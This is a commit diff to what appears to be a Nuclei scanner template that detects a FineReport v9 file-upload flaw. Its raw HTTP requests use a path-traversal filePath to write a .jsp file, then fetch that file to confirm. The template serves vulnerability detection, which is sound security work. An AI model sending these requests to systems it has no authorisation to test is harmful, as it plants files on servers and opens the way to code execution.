added filename variable

http/vulnerabilities/finereport/fine-report-v9-file-upload.yaml

@@ -12,18 +12,19 @@ info:
 
 variables:
   string: '{{rand_base(8, "abc")}}'
+  filename: '{{rand_base(8)}}'
 
 http:
   - raw:
       - |
-        POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/{{randstr}}.jsp HTTP/1.1
+        POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/{{filename}}.jsp HTTP/1.1
         Host: {{Hostname}}
         Content-Type: text/xml;charset=UTF-8
 
         {"__CONTENT__":"{{string}}","__CHARSET__":"UTF-8"}
 
       - |
-        GET /WebReport/{{randstr}}.jsp HTTP/1.1
+        GET /WebReport/{{filename}}.jsp HTTP/1.1
         Host: {{Hostname}}
 
     matchers: